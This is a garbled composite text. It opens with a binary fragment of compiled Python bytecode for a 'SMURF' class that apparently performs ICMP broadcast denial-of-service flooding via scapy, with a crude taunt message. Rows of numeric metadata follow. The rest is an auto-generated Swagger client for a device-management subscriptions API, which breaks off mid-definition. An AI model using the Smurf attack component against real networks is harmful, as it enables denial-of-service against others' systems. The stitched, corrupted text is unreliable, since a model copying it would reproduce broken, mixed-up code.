\x01%\x01\n\x01\x06\x01\x03\x01\x1c\x01\n\x01\x0c\x01\x0c\x01\x05\x01\x04\x01\t\x01\t\x01\t\x01\x03\x01\r\x01\x03\x01\x05\x01\x05\x01\x03\x01\r\x01\x03\x01\x05\x01\x05\x01\t\x01\t\x01\t\x01\t\x01\t\x01\x03\x01\x17\x01!\x01\x11\x01\x03\x01-\x01\x03\x01t\x05\x00\x00\x00SMURFc\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00B\x00\x00\x00s\x11\x00\x00\x00e\x00\x00Z\x01\x00d\x00\x00\x84\x00\x00Z\x02\x00RS(\x01\x00\x00\x00c\x03\x00\x00\x00\n\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00s/\x01\x00\x00d\x01\x00G|\x02\x00Gd\x02\x00GH|\x01\x00j\x00\x00d\x03\x00\x83\x01\x00r7\x00|\x01\x00j\x01\x00d\x03\x00d\x04\x00\x83\x02\x00}\x01\x00d\x05\x00}\x03\x00n*\x00|\x01\x00j\x00\x00d\x06\x00\x83\x01\x00ra\x00|\x01\x00j\x01\x00d\x06\x00d\x04\x00\x83\x02\x00}\x01\x00d\x07\x00}\x03\x00n\x00\x00y\x13\x00t\x02\x00j\x03\x00|\x01\x00\x83\x01\x00}\x04\x00Wn\x83\x00\x01\x01\x01yl\x00d\x08\x00d\x00\x00l\x04\x00}\x05\x00|\x05\x00j\x05\x00j\x06\x00\x83\x00\x00}\x06\x00d\t\x00d\n\x00g\x02\x00|\x06\x00_\x07\x00t\x08\x00|\x01\x00\x83\x01\x00}\x07\x00|\x06\x00j\t\x00|\x07\x00j\n\x00d\x0b\x00\x83\x02\x00}\x08\x00x\x1a\x00|\x08\x00D]\x12\x00}\t\x00t\x0b\x00|\t\x00\x83\x01\x00}\x04\x00q\xcf\x00WWq\xfa\x00\x01\x01\x01|\x01\x00}\x04\x00q\xfa\x00Xn\x01\x00X|\x04\x00d\x0c\x00k\x02\x00s\x12\x01|\x04\x00d\r\x00k\x02\x00r\x1b\x01d\x0e\x00GHd\x00\x00St\x0c\x00|\x04\x00|\x03\x00|\x02\x00\x83\x03\x00\x01d\x00\x00S(\x0f\x00\x00\x00Ns4\x00\x00\x00[Info] [AI] ICMP Broadcast (SMURF) is redirecting: [s\x10\x00\x00\x00base stations ]\ns\x07\x00\x00\x00http://R\x1d\x00\x00\x00iP\x00\x00\x00s\x08\x00\x00\x00https://i\xbb\x01\x00\x00i\xff\xff\xff\xffs\x07\x00\x00\x008.8.8.8s\x07\x00\x00\x008.8.4.4R\x05\x00\x00\x00s\t\x00\x00\x00127.0.0.1t\t\x00\x00\x00localhostsR\x00\x00\x00[Info] [AI] [SMURF] Sending message \'1/0 %====D 2 Ur ;-0\' to \'localhost\' -> [OK!]\n(\r\x00\x00\x00t\n\x00\x00\x00startswithR"\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x0b\x00\x00\x00R\x0c\x00\x00\x00R\r\x00\x00\x00R\x0e\x00\x00\x00R\x0f\x00\x00\x00R\x10\x00\x00\x00R\x11\x00\x00\x00R:\x00\x00\x00(\n\x00\x00\x00t\x04\x00\x00\x00selft\x06\x00\x00\x00targetR4\x00\x00\x00R+\x00\x00\x00R3\x00\x00\x00R\x17\x00\x00\x00R\x18\x00\x00\x00R\x19\x00\x00\x00R\x1a\x00\x00\x00R\x1b\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\t\x00\x00\x00attackingW\x00\x00\x00s0\x00\x00\x00\x00\x01\r\x01\x0f\x01\x12\x01\t\x01\x0f\x01\x12\x01\t\x01\x03\x01\x13\x01\x03\x01\x03\x01\x0c\x01\x0f\x01\x0f\x01\x0c\x01\x15\x01\r\x01\x14\x01\x03\x01\x0e\x01\x18\x01\x05\x01\x04\x01(\x03\x00\x00\x00t\x08\x00\x00\x00__name__t\n\x00\x00\x00__module__R@\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>R;\x00\x00\x00V\x00\x00\x00s\x02\x00\x00\x00\x06\x01(\x0c\x00\x00\x00t\x07\x00\x00\x00__doc__t\x03\x00\x00\x00sysR\x01\x00\x00\x00R\x08\x00\x00\x00R\x0e\x00\x00\x00t\t\x00\x00\x00scapy.allt\x04\x00\x00\x00exitR\x04\x00\x00\x00R\x1c\x00\x00\x00R:\x00\x00\x00t\x06\x00\x00\x00objectR;\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x08\x00\x00\x00<module>\t\x00\x00\x00s\x14\x00\x00\x00\x06\x010\x02\x03\x01\x0e\x01\x03\x01\x05\x01\x11\x03\t\x04\t\x17\t('))
| 3,119
| 9,324
| 0.748103
| 2,043
| 9,357
| 3.412628
| 0.151738
| 0.287435
| 0.144578
| 0.101549
| 0.346529
| 0.277682
| 0.184452
| 0.154762
| 0.135829
| 0.122633
| 0
| 0.373154
| 0.015924
| 9,357
| 3
| 9,324
| 3,119
| 0.384014
| 0.00171
| 0
| 0
| 0
| 1
| 0.387967
| 0.345145
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 10
|
7a93538cd8bd3c86371342ea584431fa4361742a
| 41,712
|
py
|
Python
|
src/mbed_cloud/_backends/mds/apis/subscriptions_api.py
|
GQMai/mbed-cloud-sdk-python
|
76ef009903415f37f69dcc5778be8f5fb14c08fe
|
[
"Apache-2.0"
] | 12
|
2017-12-28T11:18:43.000Z
|
2020-10-04T12:11:15.000Z
|
src/mbed_cloud/_backends/mds/apis/subscriptions_api.py
|
GQMai/mbed-cloud-sdk-python
|
76ef009903415f37f69dcc5778be8f5fb14c08fe
|
[
"Apache-2.0"
] | 50
|
2017-12-21T12:50:41.000Z
|
2020-01-13T16:07:08.000Z
|
src/mbed_cloud/_backends/mds/apis/subscriptions_api.py
|
GQMai/mbed-cloud-sdk-python
|
76ef009903415f37f69dcc5778be8f5fb14c08fe
|
[
"Apache-2.0"
] | 8
|
2018-04-25T17:47:29.000Z
|
2019-08-29T06:38:27.000Z
|
# coding: utf-8
"""
Connect API
Pelion Device Management Connect API allows web applications to communicate with devices. You can subscribe to device resources and read/write values to them. Device Management Connect allows connectivity to devices by queueing requests and caching resource values.
OpenAPI spec version: 2
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from ..api_client import ApiClient
class SubscriptionsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def add_resource_subscription(self, device_id, _resource_path, **kwargs): # noqa: E501
"""Subscribe to a resource path # noqa: E501
The Device Management Connect eventing model consists of observable resources. This means that endpoints can deliver updated resource content, periodically or with a more sophisticated solution-dependent logic. The OMA LwM2M resource model including objects, object instances, resources and resource instances is also supported. Applications can subscribe to objects, object instances or individual resources to make the device to provide value change notifications to Device Management Connect service. An application needs to call a `/notification/callback` method to get Device Management Connect to push notifications of the resource changes. **Notification rules** A web application can place dynamic observation rules for individual Object Instances and Resources to define when the device sends observations. More information in [Notification rules](/docs/current/connecting/resource-change-webapp.html). All manual subscriptions are removed during a full device registration and applications need to re-subscribe at that point. To avoid this, you can use `/subscriptions` to set a pre-subscription. **Example usage:** curl -X PUT \\ https://api.us-east-1.mbedcloud.com/v2/subscriptions/{device-id}/{resourcePath} \\ -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.add_resource_subscription(device_id, _resource_path, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param str device_id: A unique Device Management device ID for the endpoint. Note that the ID must be an exact match. You cannot use wildcards here. (required)
:param str _resource_path: The URL of the resource. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.add_resource_subscription_with_http_info(device_id, _resource_path, **kwargs) # noqa: E501
else:
(data) = self.add_resource_subscription_with_http_info(device_id, _resource_path, **kwargs) # noqa: E501
return data
def add_resource_subscription_with_http_info(self, device_id, _resource_path, **kwargs): # noqa: E501
"""Subscribe to a resource path # noqa: E501
The Device Management Connect eventing model consists of observable resources. This means that endpoints can deliver updated resource content, periodically or with a more sophisticated solution-dependent logic. The OMA LwM2M resource model including objects, object instances, resources and resource instances is also supported. Applications can subscribe to objects, object instances or individual resources to make the device to provide value change notifications to Device Management Connect service. An application needs to call a `/notification/callback` method to get Device Management Connect to push notifications of the resource changes. **Notification rules** A web application can place dynamic observation rules for individual Object Instances and Resources to define when the device sends observations. More information in [Notification rules](/docs/current/connecting/resource-change-webapp.html). All manual subscriptions are removed during a full device registration and applications need to re-subscribe at that point. To avoid this, you can use `/subscriptions` to set a pre-subscription. **Example usage:** curl -X PUT \\ https://api.us-east-1.mbedcloud.com/v2/subscriptions/{device-id}/{resourcePath} \\ -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.add_resource_subscription_with_http_info(device_id, _resource_path, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param str device_id: A unique Device Management device ID for the endpoint. Note that the ID must be an exact match. You cannot use wildcards here. (required)
:param str _resource_path: The URL of the resource. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['device_id', '_resource_path'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_resource_subscription" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'device_id' is set
if ('device_id' not in params or
params['device_id'] is None):
raise ValueError("Missing the required parameter `device_id` when calling `add_resource_subscription`") # noqa: E501
# verify the required parameter '_resource_path' is set
if ('_resource_path' not in params or
params['_resource_path'] is None):
raise ValueError("Missing the required parameter `_resource_path` when calling `add_resource_subscription`") # noqa: E501
collection_formats = {}
path_params = {}
if 'device_id' in params:
path_params['device-id'] = params['device_id'] # noqa: E501
if '_resource_path' in params:
path_params['resourcePath'] = params['_resource_path'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/v2/subscriptions/{device-id}/{resourcePath}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def check_resource_subscription(self, device_id, _resource_path, **kwargs): # noqa: E501
"""Read subscription status # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.check_resource_subscription(device_id, _resource_path, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param str device_id: A unique Device Management device ID for the endpoint. Note that the ID must be an exact match. You cannot use wildcards here. (required)
:param str _resource_path: The URL of the resource. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.check_resource_subscription_with_http_info(device_id, _resource_path, **kwargs) # noqa: E501
else:
(data) = self.check_resource_subscription_with_http_info(device_id, _resource_path, **kwargs) # noqa: E501
return data
def check_resource_subscription_with_http_info(self, device_id, _resource_path, **kwargs): # noqa: E501
"""Read subscription status # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.check_resource_subscription_with_http_info(device_id, _resource_path, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param str device_id: A unique Device Management device ID for the endpoint. Note that the ID must be an exact match. You cannot use wildcards here. (required)
:param str _resource_path: The URL of the resource. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['device_id', '_resource_path'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method check_resource_subscription" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'device_id' is set
if ('device_id' not in params or
params['device_id'] is None):
raise ValueError("Missing the required parameter `device_id` when calling `check_resource_subscription`") # noqa: E501
# verify the required parameter '_resource_path' is set
if ('_resource_path' not in params or
params['_resource_path'] is None):
raise ValueError("Missing the required parameter `_resource_path` when calling `check_resource_subscription`") # noqa: E501
collection_formats = {}
path_params = {}
if 'device_id' in params:
path_params['device-id'] = params['device_id'] # noqa: E501
if '_resource_path' in params:
path_params['resourcePath'] = params['_resource_path'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/v2/subscriptions/{device-id}/{resourcePath}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_endpoint_subscriptions(self, device_id, **kwargs): # noqa: E501
"""Delete subscriptions from an endpoint # noqa: E501
Deletes all resource subscriptions in a single endpoint. **Example usage:** curl -X DELETE \\ https://api.us-east-1.mbedcloud.com/v2/subscriptions/{device-id} \\ -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.delete_endpoint_subscriptions(device_id, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param str device_id: A unique Device Management device ID for the endpoint. Note that the ID must be an exact match. You cannot use wildcards here. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.delete_endpoint_subscriptions_with_http_info(device_id, **kwargs) # noqa: E501
else:
(data) = self.delete_endpoint_subscriptions_with_http_info(device_id, **kwargs) # noqa: E501
return data
def delete_endpoint_subscriptions_with_http_info(self, device_id, **kwargs): # noqa: E501
"""Delete subscriptions from an endpoint # noqa: E501
Deletes all resource subscriptions in a single endpoint. **Example usage:** curl -X DELETE \\ https://api.us-east-1.mbedcloud.com/v2/subscriptions/{device-id} \\ -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.delete_endpoint_subscriptions_with_http_info(device_id, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param str device_id: A unique Device Management device ID for the endpoint. Note that the ID must be an exact match. You cannot use wildcards here. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['device_id'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_endpoint_subscriptions" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'device_id' is set
if ('device_id' not in params or
params['device_id'] is None):
raise ValueError("Missing the required parameter `device_id` when calling `delete_endpoint_subscriptions`") # noqa: E501
collection_formats = {}
path_params = {}
if 'device_id' in params:
path_params['device-id'] = params['device_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/v2/subscriptions/{device-id}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_pre_subscriptions(self, **kwargs): # noqa: E501
"""Remove pre-subscriptions # noqa: E501
Removes pre-subscriptions. **Example usage:** curl -X DELETE https://api.us-east-1.mbedcloud.com/v2/subscriptions -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.delete_pre_subscriptions(asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.delete_pre_subscriptions_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.delete_pre_subscriptions_with_http_info(**kwargs) # noqa: E501
return data
def delete_pre_subscriptions_with_http_info(self, **kwargs): # noqa: E501
"""Remove pre-subscriptions # noqa: E501
Removes pre-subscriptions. **Example usage:** curl -X DELETE https://api.us-east-1.mbedcloud.com/v2/subscriptions -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.delete_pre_subscriptions_with_http_info(asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_pre_subscriptions" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/v2/subscriptions', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_resource_subscription(self, device_id, _resource_path, **kwargs): # noqa: E501
"""Remove a subscription # noqa: E501
To remove an existing subscription from a resource path. **Example usage:** curl -X DELETE \\ https://api.us-east-1.mbedcloud.com/v2/subscriptions/{device-id}/{resourcePath} \\ -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.delete_resource_subscription(device_id, _resource_path, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param str device_id: A unique Device Management device ID for the endpoint. Note that the ID must be an exact match. You cannot use wildcards here. (required)
:param str _resource_path: The URL of the resource. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.delete_resource_subscription_with_http_info(device_id, _resource_path, **kwargs) # noqa: E501
else:
(data) = self.delete_resource_subscription_with_http_info(device_id, _resource_path, **kwargs) # noqa: E501
return data
def delete_resource_subscription_with_http_info(self, device_id, _resource_path, **kwargs): # noqa: E501
"""Remove a subscription # noqa: E501
To remove an existing subscription from a resource path. **Example usage:** curl -X DELETE \\ https://api.us-east-1.mbedcloud.com/v2/subscriptions/{device-id}/{resourcePath} \\ -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.delete_resource_subscription_with_http_info(device_id, _resource_path, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param str device_id: A unique Device Management device ID for the endpoint. Note that the ID must be an exact match. You cannot use wildcards here. (required)
:param str _resource_path: The URL of the resource. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['device_id', '_resource_path'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_resource_subscription" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'device_id' is set
if ('device_id' not in params or
params['device_id'] is None):
raise ValueError("Missing the required parameter `device_id` when calling `delete_resource_subscription`") # noqa: E501
# verify the required parameter '_resource_path' is set
if ('_resource_path' not in params or
params['_resource_path'] is None):
raise ValueError("Missing the required parameter `_resource_path` when calling `delete_resource_subscription`") # noqa: E501
collection_formats = {}
path_params = {}
if 'device_id' in params:
path_params['device-id'] = params['device_id'] # noqa: E501
if '_resource_path' in params:
path_params['resourcePath'] = params['_resource_path'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/v2/subscriptions/{device-id}/{resourcePath}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_endpoint_subscriptions(self, device_id, **kwargs): # noqa: E501
"""Read endpoints subscriptions # noqa: E501
Lists all subscribed resources from a single endpoint. **Example usage:** curl -X GET \\ https://api.us-east-1.mbedcloud.com/v2/subscriptions/{device-id} \\ -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.get_endpoint_subscriptions(device_id, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param str device_id: A unique Device Management device ID for the endpoint. Note that ID must be an exact match. You cannot use wildcards here. (required)
:return: str
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.get_endpoint_subscriptions_with_http_info(device_id, **kwargs) # noqa: E501
else:
(data) = self.get_endpoint_subscriptions_with_http_info(device_id, **kwargs) # noqa: E501
return data
def get_endpoint_subscriptions_with_http_info(self, device_id, **kwargs): # noqa: E501
"""Read endpoints subscriptions # noqa: E501
Lists all subscribed resources from a single endpoint. **Example usage:** curl -X GET \\ https://api.us-east-1.mbedcloud.com/v2/subscriptions/{device-id} \\ -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.get_endpoint_subscriptions_with_http_info(device_id, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param str device_id: A unique Device Management device ID for the endpoint. Note that ID must be an exact match. You cannot use wildcards here. (required)
:return: str
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['device_id'] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_endpoint_subscriptions" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'device_id' is set
if ('device_id' not in params or
params['device_id'] is None):
raise ValueError("Missing the required parameter `device_id` when calling `get_endpoint_subscriptions`") # noqa: E501
collection_formats = {}
path_params = {}
if 'device_id' in params:
path_params['device-id'] = params['device_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['text/uri-list']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/v2/subscriptions/{device-id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='str', # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_pre_subscriptions(self, **kwargs): # noqa: E501
"""Get pre-subscriptions # noqa: E501
You can retrieve the pre-subscription data with the GET operation. The server returns with the same JSON structure as described above. If there are no pre-subscribed resources, it returns with an empty array. **Example usage:** curl -X GET https://api.us-east-1.mbedcloud.com/v2/subscriptions -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.get_pre_subscriptions(asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:return: PresubscriptionArray
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.get_pre_subscriptions_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_pre_subscriptions_with_http_info(**kwargs) # noqa: E501
return data
def get_pre_subscriptions_with_http_info(self, **kwargs): # noqa: E501
"""Get pre-subscriptions # noqa: E501
You can retrieve the pre-subscription data with the GET operation. The server returns with the same JSON structure as described above. If there are no pre-subscribed resources, it returns with an empty array. **Example usage:** curl -X GET https://api.us-east-1.mbedcloud.com/v2/subscriptions -H 'authorization: Bearer {api-key}' # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.get_pre_subscriptions_with_http_info(asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:return: PresubscriptionArray
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('asynchronous')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_pre_subscriptions" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/v2/subscriptions', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PresubscriptionArray', # noqa: E501
auth_settings=auth_settings,
asynchronous=params.get('asynchronous'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_pre_subscriptions(self, presubsription, **kwargs): # noqa: E501
"""Set pre-subscriptions # noqa: E501
Pre-subscription is a set of rules and patterns put by the application. When an endpoint registers and its ID, type and registered resources match the pre-subscription data, Device Management Connect sends subscription requests to the device automatically. The pattern may include the endpoint ID (optionally having an `*` character at the end), endpoint type, a list of resources or expressions with an `*` character at the end. Subscriptions based on pre-subscriptions are done when device registers or does register update. To remove the pre-subscription data, put an empty array as a rule. **Notification rules** A web application can place dynamic observation rules for individual Object Instances and Resources to define when the device sends observations. More information in [Notification rules](/docs/current/connecting/resource-change-webapp.html). **Limits**: - The maximum length of the endpoint name and endpoint type is 64 characters. - The maximum length of the resource path is 128 characters. - You can listen to 256 separate resource paths. - The maximum number of pre-subscription entries is 1024. **Example request:** ``` curl -X PUT \\ https://api.us-east-1.mbedcloud.com/v2/subscriptions \\ -H 'authorization: Bearer {api-key}' \\ -H 'content-type: application/json' \\ -d '[ { \"endpoint-name\": \"node-001\", \"resource-path\": [\"/dev\"] }, { \"endpoint-type\": \"Light\", \"resource-path\": [\"/sen/*\"] }, { \"endpoint-name\": \"node*\" }, { \"endpoint-type\": \"Sensor\" }, { \"resource-path\": [\"/dev/temp\",\"/dev/hum\"] } ]' ``` - Subscribe to `/dev` resource of endpoint named `node-001`. - Subscribe to `Light` type of endpoints and their resources prefixed with `/sen/`. - Subscribe to all observable resources of endpoint names prefixed with `node`. - Subscribe to all observable resources of `Sensor` type endpoints. - Subscribe to `/dev/temp` and `/dev/hum` resources of all endpoints. **Note**: For efficiency reasons, you should use resource path patterns in the pre-subscription data. This prevents the notification flow from unwanted resources. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass asynchronous=True
>>> thread = api.update_pre_subscriptions(presubsription, asynchronous=True)
>>> result = thread.get()
:param asynchronous bool
:param PresubscriptionArray presubsription: Array of pre-subscriptions. (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('asynchronous'):
return self.update_pre_subscriptions_with_http_info(presubsription, **kwargs) # noqa: E501
else:
(data) = self.update_pre_subscriptions_with_http_info(presubsription, **kwargs) # noqa: E501
return data
def update_pre_subscriptions_with_http_info(self, presubsription, **kwargs): # noqa: E501
